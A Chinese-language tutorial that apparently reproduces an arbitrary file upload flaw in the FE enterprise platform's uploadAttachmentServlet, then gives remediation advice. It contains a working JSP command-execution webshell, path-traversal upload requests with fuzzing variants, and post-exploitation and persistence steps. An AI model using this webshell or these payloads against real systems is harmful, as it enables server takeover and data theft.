1. 项目概述与背景

最近在梳理一些企业级应用的历史安全问题时,飞企互联的FE企业运营管理平台进入了我的视野。这是一个在国内不少企事业单位,尤其是制造业、集团型企业中有一定部署量的综合管理平台,集成了OA、流程审批、文档管理等多种功能。在一次内部的安全研究项目中,我重点关注了其早期版本中一个名为 uploadAttachmentServlet 的文件上传接口。这个接口的本意是方便用户上传各类附件到流程或文档中,但在实现上存在缺陷,导致了任意文件上传漏洞。这意味着攻击者可以绕过前端校验和后端的安全检查,将恶意文件(如Webshell)直接上传到服务器可访问的目录,从而获取服务器的控制权。对于企业内网而言,这类漏洞的危害是巨大的,可能直接导致核心业务数据泄露、服务器被植入后门成为跳板机等严重后果。

今天,我就来详细拆解一下这个漏洞的成因、复现过程以及背后的安全逻辑。无论你是安全研究人员、渗透测试工程师,还是负责运维这类系统的管理员,理解这个漏洞都能帮助你更好地进行防御或安全评估。我们会从环境搭建开始,一步步分析漏洞触发点,并最终完成一个完整的漏洞复现。整个过程中,我会穿插很多在实际测试中积累的经验和避坑技巧,这些是在官方文档里绝对找不到的干货。

2. 漏洞原理深度解析

2.1 文件上传漏洞的通用成因

在深入FE平台的具体漏洞之前,我们有必要先理解任意文件上传漏洞的通用原理。一个健壮的文件上传功能,通常需要经过多层防御:

  1. 前端校验 :通过JavaScript检查文件扩展名、MIME类型或文件大小。但这很容易被绕过,例如直接抓包修改请求,或者禁用浏览器JS。
  2. 服务端内容类型检查 :检查HTTP请求头中的 Content-Type 字段(如 image/jpeg )。攻击者可以通过伪造请求包,将这个字段改为合法的图像类型来绕过。
  3. 服务端扩展名检查 :检查文件后缀名(如 .jpg , .png )。常见的绕过手法包括使用大小写( .pHp )、在末尾添加空格或点( .php. )、利用解析差异( .php.jpg 在某些配置下可能被解析为PHP)以及双扩展名( .php.jpg )。
  4. 服务端文件内容检查 :通过文件头魔数(Magic Number)或图像二次渲染来验证文件真实性。这是比较有效的手段,但实现复杂。
  5. 存储路径与权限控制 :即使恶意文件上传成功,如果它被存储在一个无法通过Web直接访问的目录,或者其执行权限被剥离,危害也会降低。

uploadAttachmentServlet 这个漏洞的核心问题,往往出在上述第2和第3层防御的缺失或实现不当上。Servlet作为Java Web应用的核心组件,其文件上传逻辑通常依赖于 Apache Commons FileUpload 等库,但如果开发人员没有对上传的文件名和路径进行严格的过滤和重命名,就直接使用用户可控的参数拼接保存路径,漏洞就产生了。

2.2 FE平台 uploadAttachmentServlet 接口分析

根据漏洞情报和部分泄露的代码片段分析,飞企互联FE平台的这个Servlet在处理上传请求时,大致流程如下:

  1. 接收一个HTTP POST请求,内容类型为 multipart/form-data
  2. 从请求中解析出文件流和相关的表单字段。关键字段可能包括 file (文件本身)、 fileName (客户端原始文件名)、 bizType (业务类型,用于决定存储目录)等。
  3. 漏洞点 :程序直接使用了客户端提交的 fileName 参数,或者对其进行了不安全的处理(如简单的字符串拼接),来构造服务器上的最终存储路径。例如: String savePath = "/upload/" + bizType + "/" + fileName;
  4. 将文件流写入到 savePath 指定的位置。

这里的致命问题在于, fileName 参数完全由用户控制。攻击者可以将其构造为 ../../../webshell.jsp 这样的路径。当与基础路径拼接后,就可能实现目录穿越,将文件上传到Web应用的根目录甚至其他任意目录。更糟糕的是,如果目标目录具有执行脚本的权限(如Tomcat的 webapps/ROOT 目录),那么上传的JSP Webshell就可以被直接访问和执行。

注意 :在实际测试中, bizType 参数有时也可能被利用。如果程序根据 bizType 动态创建目录,但未校验该参数的合法性,攻击者通过注入 ../ 也可能实现路径控制。因此,在复现时,这两个参数都需要进行模糊测试。

2.3 与类似漏洞的横向对比

搜索热词中提到了诸如“im即时通讯系统preview.php”、“熊海cms”、“74cms”等漏洞,它们虽然技术栈不同(PHP/Java),但漏洞本质高度相似: 对用户输入的可控文件名未做过滤,直接用于拼接文件保存路径 。这几乎成了中小型管理系统、CMS的一个通病。区别在于后续的利用条件:Java应用上传的是 .jsp .jspx 文件,需要部署在Servlet容器中;PHP应用上传的是 .php 文件,需要服务器支持PHP解析。理解这一点,就能举一反三,在测试其他系统时快速定位类似的风险点。

3. 复现环境搭建与工具准备

3.1 靶场环境搭建

由于直接测试真实系统存在法律风险,我们必须在隔离环境中进行复现。有以下几种方案:

方案一:使用历史版本安装包(推荐用于深度研究) 这是最贴近真实的复现方式。你需要寻找存在漏洞的FE平台历史版本安装包(例如某个早期的V5.x版本)。通常这类资源可以在一些合规的漏洞研究平台或实验环境中找到。

  1. 准备一台虚拟机 :安装Windows Server 2008 R2或Windows 7/10,并安装好Java运行环境(JRE 8)和数据库(如MySQL 5.7)。
  2. 部署应用 :按照安装手册,将FE平台安装到Tomcat或Resin等Servlet容器中,并完成数据库初始化。
  3. 难点 :获取准确的漏洞版本安装包比较困难,且旧版本软件可能依赖特定的操作系统或数据库版本,搭建过程繁琐。

方案二:使用Docker漏洞靶场(推荐用于快速验证) 一些安全社区或实验室会将已知漏洞的应用程序封装成Docker镜像,极大简化了环境搭建。

  1. 在Linux或安装了Docker Desktop的Windows/Mac上,直接执行类似命令: docker pull vulhub/fe-enterprise:upload-vuln (此为示例,实际镜像名需查找)。
  2. 运行容器: docker run -d -p 8080:8080 vulhub/fe-enterprise:upload-vuln
  3. 访问 http://your-ip:8080 即可开始测试。
  4. 优点 :一键搭建,环境纯净,不污染主机。

方案三:使用集成渗透测试系统(如DVWA、WebGoat)中的文件上传模块进行原理学习 如果找不到FE平台的具体环境,可以用这些专门的教学靶场来理解漏洞原理和利用手法,其本质是相通的。

我的实操心得 : 对于这种特定厂商的漏洞,方案二(Docker靶场)是最优解。如果找不到,我会尝试在虚拟机中搭建方案一。 切记,所有操作必须在授权的隔离网络(如虚拟机的NAT模式,且断开主机网络)中进行 。我曾见过有新手在物理机直接搭建靶场,误操作导致宿主机被扫描甚至攻击,这是绝对要避免的。

3.2 必备工具清单

工欲善其事,必先利其器。以下是复现该漏洞的核心工具:

工具类别 工具名称 用途说明 关键技巧
代理抓包 Burp Suite Community/Professional 拦截、查看、重放HTTP/HTTPS请求,是分析漏洞和构造攻击Payload的 核心工具 配置浏览器代理为 127.0.0.1:8080 。对于HTTPS网站,需在浏览器中安装并信任Burp的CA证书。
浏览器插件 HackBar, FoxyProxy 快速切换代理,方便测试。HackBar可以辅助构造简单的Payload。 FoxyProxy可设置规则,仅对目标站点流量走代理,不影响正常上网。
Webshell管理 AntSword (蚁剑), Behinder (冰蝎) 文件上传成功后,用于连接和管理Webshell。 蚁剑开源、插件丰富,适合初学者。冰蝎流量加密特征更强,但需注意其版本安全性。 务必使用从官方或可信源下载的版本
扫描探测 浏览器开发者工具 (F12) 前端分析,查看正常上传请求的格式、参数名。 重点关注 Network 标签页,查看上传请求的 Form Data 部分。
辅助脚本 自定义Python脚本 用于批量FUZZ(模糊测试)可能的参数和路径。 可以编写脚本遍历常见的路径穿越Payload(如 ../../ , ..\..\ )和文件名拼接方式。

工具配置避坑指南

  • Burp Suite :首次使用时,务必在 Proxy -> Options 中检查 Intercept 是否开启,并确保 Proxy Listeners 已正确绑定端口(默认8080)。如果抓不到包,首先检查浏览器代理设置是否正确,其次检查是否有其他软件(如杀毒软件、其他VPN)占用了8080端口。
  • 蚁剑/冰蝎 :这些工具本身功能强大,但也可能被杀毒软件报毒。在测试环境中,可以临时添加信任。 绝对不要 在生产环境或日常办公电脑上使用。
  • 环境隔离 :建议将靶场虚拟机、攻击机(运行Burp、蚁剑的机器)放在同一个独立的虚拟网络(如VMware的“仅主机模式”网络)中,彻底与外界隔离。

4. 漏洞复现实操步骤

假设我们已经成功搭建了一个存在漏洞的FE平台测试环境,访问地址为 http://192.168.1.100:8080

4.1 信息收集与接口定位

首先,我们需要找到 uploadAttachmentServlet 这个接口的完整URL路径。

  1. 前端分析 :正常登录系统,找到任何一个可以上传附件的地方,例如“新建流程”、“上传文档”等功能。点击上传一个无害的图片文件(如 test.jpg )。
  2. 抓包观察 :开启Burp Suite的拦截功能,在浏览器中完成上传操作。这时Burp会截获这个HTTP POST请求。
    POST /fe/uploadAttachmentServlet HTTP/1.1
    Host: 192.168.1.100:8080
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
    ...其他头部...
    
    ------WebKitFormBoundaryABC123
    Content-Disposition: form-data; name="file"; filename="test.jpg"
    Content-Type: image/jpeg
    
    (这里是图片文件的二进制数据)
    ------WebKitFormBoundaryABC123
    Content-Disposition: form-data; name="bizType"
    
    workflow
    ------WebKitFormBoundaryABC123
    Content-Disposition: form-data; name="fileName"
    
    test.jpg
    ------WebKitFormBoundaryABC123--
    
  3. 分析请求 :从抓到的包中,我们可以清晰地看到:
    • 接口路径 /fe/uploadAttachmentServlet 。注意,上下文路径 /fe 可能因部署方式不同而变化。
    • 关键参数 file (文件内容)、 fileName (客户端文件名)、 bizType (业务类型)。
    • Content-Type multipart/form-data ,这是文件上传的标准格式。

4.2 构造恶意上传请求

我们的目标是上传一个JSP格式的Webshell。这里以一个最简单的JSP Webshell为例,其内容为:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>

这个脚本会接收一个名为 cmd 的参数,并在服务器上执行该命令,将结果返回给页面。

接下来,在Burp Suite的 Repeater 模块中,重放我们刚才抓到的包,并进行修改:

  1. 修改 filename 字段 :这是 最可能 的利用点。将 filename="test.jpg" 修改为 filename="../../../../webshell.jsp" 。这里的 ../ 数量需要根据目标服务器的实际路径深度进行尝试,通常从4到6个开始测试。
  2. 修改 fileName 表单字段 :同样,将 fileName 对应的值 test.jpg 修改为 ../../../../webshell.jsp
  3. 修改文件内容 :在Burp中,找到 file 参数对应的文件二进制数据部分,将其替换为我们上面编写的JSP Webshell的代码。 注意保持格式 ,不要破坏 multipart/form-data 的边界。
  4. 修改 Content-Type :将文件部分的 Content-Type: image/jpeg 修改为 Content-Type: text/plain application/x-jsp (虽然不标准,但有时能绕过检查)。更稳妥的做法是,先尝试不修改,因为有些后端只检查扩展名。
  5. 发送请求 :点击 Send 按钮。

4.3 响应分析与利用确认

查看Burp返回的响应包,重点关注以下几点:

  • 响应状态码 :如果返回 200 OK ,通常是个好兆头。
  • 响应内容
    • 成功情况 :响应体里可能包含文件保存的路径信息,例如 {"code":0, "msg":"success", "data":"/upload/workflow/20231012/webshell.jsp"} 注意 ,这里返回的路径可能是经过处理的,不一定是实际物理路径。但其中包含了我们的文件名 webshell.jsp ,这是一个关键信号。
    • 失败情况 :可能返回错误信息,如 “文件类型不允许” “上传失败” 或直接是Java异常栈信息。栈信息可能暴露真实路径,极具价值。
  • 尝试访问 :根据返回的路径,或者根据常见的目录结构进行猜测,在浏览器中尝试访问Webshell。例如:
    • 如果返回路径是 /upload/workflow/20231012/webshell.jsp ,则访问 http://192.168.1.100:8080/fe/upload/workflow/20231012/webshell.jsp
    • 如果我们使用了路径穿越 ../../../ ,意图上传到Web根目录,则直接访问 http://192.168.1.100:8080/fe/webshell.jsp http://192.168.1.100:8080/webshell.jsp (取决于穿越的层级)。

如果页面能够正常打开(可能是一片空白,这是正常的),说明文件上传成功且可访问。

4.4 连接Webshell与后续操作

  1. 使用蚁剑连接
    • 打开蚁剑,点击“添加数据”。
    • URL地址填写我们成功访问到的Webshell地址,例如 http://192.168.1.100:8080/fe/webshell.jsp
    • 连接密码留空(因为我们写的Webshell没有设置密码,而是通过 cmd 参数传命令)。
    • 编码器、请求头等根据情况调整,初次尝试可以默认。
    • 点击“添加”。如果一切正常,左侧会出现一个新的主机,双击即可连接,并可以浏览服务器文件系统、执行命令等。
  2. 验证漏洞 :在蚁剑的虚拟终端中,尝试执行 whoami ipconfig ls 等命令,确认已获取服务器权限。

我的实操心得

  • FUZZ是关键 :如果第一次简单的 ../../../webshell.jsp 不成功,不要放弃。需要系统性地进行FUZZ测试:
    • 路径穿越Payload变体 ....// ..\..\ (Windows路径), %2e%2e%2f (URL编码), ..%00.jpg (截断攻击,在旧版本Java/特定配置下可能有效)。
    • 文件名混淆 webshell.jsp.jpg webshell.jsp%20 webshell.jsp. WebShell.JSP (大小写)。
    • 参数污染 :同时修改 filename fileName 为不同值,看后端以哪个为准。
  • 关注响应差异 :对比上传正常图片和恶意JSP文件时,服务器响应在时间延迟、返回包大小、头部字段上的细微差异,这可能是WAF或安全组件在起作用的迹象。
  • 利用失败的可能原因
    • 文件内容被检测(如包含危险函数 Runtime.getRuntime().exec ),可以尝试编码、混淆。
    • 上传目录没有执行权限(JSP引擎无法解析),需要尝试穿越到有执行权限的目录。
    • 存在WAF,需要尝试绕WAF的Payload。

5. 漏洞修复与安全加固建议

复现漏洞是为了更好地防御。对于企业管理员和开发人员,针对此类漏洞,应从以下几个层面进行加固:

5.1 代码层修复(根本解决)

  1. 白名单校验文件扩展名 :在后端,使用一个严格的白名单来只允许特定的文件类型(如 .jpg , .png , .pdf , .docx )。绝对禁止 .jsp , .jspx , .php , .asp 等可执行脚本的后缀。
    // 伪代码示例
    String[] allowedExtensions = {".jpg", ".png", ".pdf"};
    String fileName = getFileNameFromRequest();
    boolean isSafe = false;
    for (String ext : allowedExtensions) {
        if (fileName.toLowerCase().endsWith(ext)) {
            isSafe = true;
            break;
        }
    }
    if (!isSafe) {
        throw new SecurityException("Unsupported file type.");
    }
    
  2. 重命名上传文件 :不要使用用户上传的文件名。使用随机生成的文件名(如UUID)来存储文件,并将原始文件名和映射关系保存在数据库中。
    String savedFileName = UUID.randomUUID().toString() + getFileExtension(fileName); // getFileExtension需基于白名单安全获取
    Path savePath = Paths.get(uploadBaseDir, savedFileName);
    Files.copy(fileInputStream, savePath);
    
  3. 防止路径遍历 :在拼接文件保存路径前,对文件名进行规范化,并检查是否包含路径遍历字符。
    String safeFileName = new File(fileName).getName(); // 只取文件名,去除路径
    // 或者使用库函数检查
    if (safeFileName.contains("..") || safeFileName.contains("/") || safeFileName.contains("\\")) {
        throw new SecurityException("Invalid file name.");
    }
    
  4. 设置文件上传目录权限 :将文件上传目录设置为不可执行。在Tomcat中,可以将上传目录放在 WEB-INF 下,或者通过配置 web.xml 禁止该目录下的JSP文件被执行。
    <!-- 在web.xml中禁止特定目录执行JSP -->
    <security-constraint>
        <web-resource-collection>
            <web-resource-name>Uploads</web-resource-name>
            <url-pattern>/uploads/*</url-pattern>
        </web-resource-collection>
        <auth-constraint/> <!-- 空auth-constraint表示拒绝所有访问 -->
        <!-- 或者结合安全角色,但更简单的是直接拒绝JSP请求 -->
    </security-constraint>
    
    更常见的做法是,通过配置Tomcat的 conf/web.xml ,为 *.jsp *.jspx 的Servlet映射添加限制,但这通常影响全局。更好的架构是将上传服务独立为一个仅提供静态文件下载的微服务。

5.2 运维层防护

  1. 及时更新与补丁 :密切关注飞企互联官方发布的安全公告和补丁,及时将系统升级到已修复该漏洞的最新版本。
  2. 部署Web应用防火墙(WAF) :在应用前端部署WAF,可以有效地拦截常见的路径遍历、文件上传攻击Payload。但WAF是缓解措施,不能替代代码修复。
  3. 最小权限原则 :运行Tomcat/JVM的进程账户,应使用权限最低的专用用户,而非 root Administrator 。严格限制其对操作系统关键目录的读写权限。
  4. 定期安全扫描 :使用专业的Web漏洞扫描器或安排渗透测试人员,定期对系统进行文件上传漏洞专项扫描。

5.3 安全开发规范(SDL)

对于开发团队,应将安全作为开发生命周期的一部分:

  • 安全培训 :让所有开发人员了解OWASP Top 10,特别是“失效的访问控制”和“注入”类漏洞,文件上传是两者的结合体。
  • 使用安全组件 :使用经过安全审计的、成熟的文件上传库(如Apache Commons FileUpload的Security Guide),并按照其最佳实践进行配置。
  • 代码审计 :在代码提交和发布前,引入静态代码扫描(SAST)工具,检查是否存在不安全的文件操作API调用。
  • 漏洞奖励 :建立内部或外部的漏洞报告渠道,鼓励白帽子帮助发现潜在问题。

6. 深度利用与防御绕过思考

在基础复现之上,真实的攻击场景往往更复杂。攻击者不会满足于上传一个简单的Webshell,他们会尝试更深度的利用和绕过防御。

6.1 从文件上传到获取服务器权限

上传Webshell只是第一步,后续的利用更为关键:

  1. 信息收集 :通过Webshell执行 whoami , systeminfo , netstat -ano , ipconfig /all 等命令,了解服务器角色(是否是域成员)、网络结构、开放端口。
  2. 权限提升 :如果当前进程权限较低(如 tomcat 用户),需要寻找提权机会。检查系统补丁情况( wmic qfe list ),寻找已知的本地提权漏洞。检查是否有弱密码或配置不当的服务。
  3. 内网横向移动 :如果服务器在内网,利用它作为跳板,使用端口扫描、漏洞扫描工具对内网其他主机进行探测。利用获取的凭据尝试访问文件共享、数据库等。
  4. 持久化后门 :创建计划任务、启动项、服务,或者写入SSH authorized_keys,确保在服务器重启后仍能维持访问。

防御视角 :因此,防御不能只停留在“防止文件上传”。需要部署主机安全产品(HIDS),监控异常进程创建、可疑命令执行、对外网络连接等行为,实现从网络层到主机层的纵深防御。

6.2 高级绕过技巧

如果目标系统部署了基础防护,攻击者可能会尝试以下绕过方式:

  • 内容校验绕过 :如果系统检查文件头,可以在Webshell代码前添加合法的图片文件头(如GIF的 GIF89a ),制作“图片马”。然后利用其他文件包含漏洞来执行其中的PHP代码,或者利用服务器解析漏洞(如IIS 6.0的目录解析 *.asp;.jpg )。
  • 条件竞争绕过 :有些系统会先保存文件,再检查其内容,如果不合法再删除。攻击者可以快速、并发地上传和访问文件,在删除前的一瞬间访问并执行Webshell。
  • 二次渲染绕过 :针对图像上传后会被重新压缩或渲染的系统,需要精确计算渲染后的像素点,将Webshell代码“嵌入”到图片中,并保证渲染后代码依然可被提取和执行。这需要极高的技巧。
  • WAF绕过 :通过分割Payload、编码、使用生僻字符、利用HTTP协议特性(如分块传输编码)等方式,绕过WAF的规则检测。

给防御者的启示 :安全防护必须多层叠加。单一的文件扩展名检查是远远不够的。需要结合文件内容识别、行为监控、机器学习异常检测等多种手段。同时,保持组件的更新,因为很多解析漏洞源于旧版本服务器软件的缺陷。

7. 总结与个人体会

回顾整个飞企互联FE平台 uploadAttachmentServlet 漏洞的复现过程,它再次印证了一个老生常谈却又屡见不鲜的安全真理: 永远不要信任用户输入 。这个漏洞的根源在于开发人员将用户可控的 fileName 参数,未经充分净化就直接拼接到了文件系统路径中,这种编程习惯是极其危险的。

在实际的渗透测试工作中,遇到文件上传功能,我的检查清单通常是:先抓包看请求结构,然后尝试修改扩展名、增加路径遍历符、伪造Content-Type。如果这些简单方法被拦截,再深入分析是否有前端校验、是否检查文件内容、是否有WAF,并相应地进行更复杂的绕过尝试。这个过程就像一场攻防博弈,需要耐心和创造力。

对于企业来说,修复这类漏洞的代码改动可能很小,但带来的安全收益是巨大的。更重要的是,要通过这个案例,在开发团队中建立起牢固的安全意识,将安全编码规范落实到每一次代码提交中。安全不是产品上线前才考虑的“附加功能”,而是贯穿于设计、开发、测试、运维全生命周期的“基础属性”。

最后,无论是研究还是测试, 法律和道德的边界绝对不能逾越 。所有操作都必须在获得明确授权的环境中进行。通过合法合规的方式研究漏洞、提升技能,才能在这个领域走得更远、更稳。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐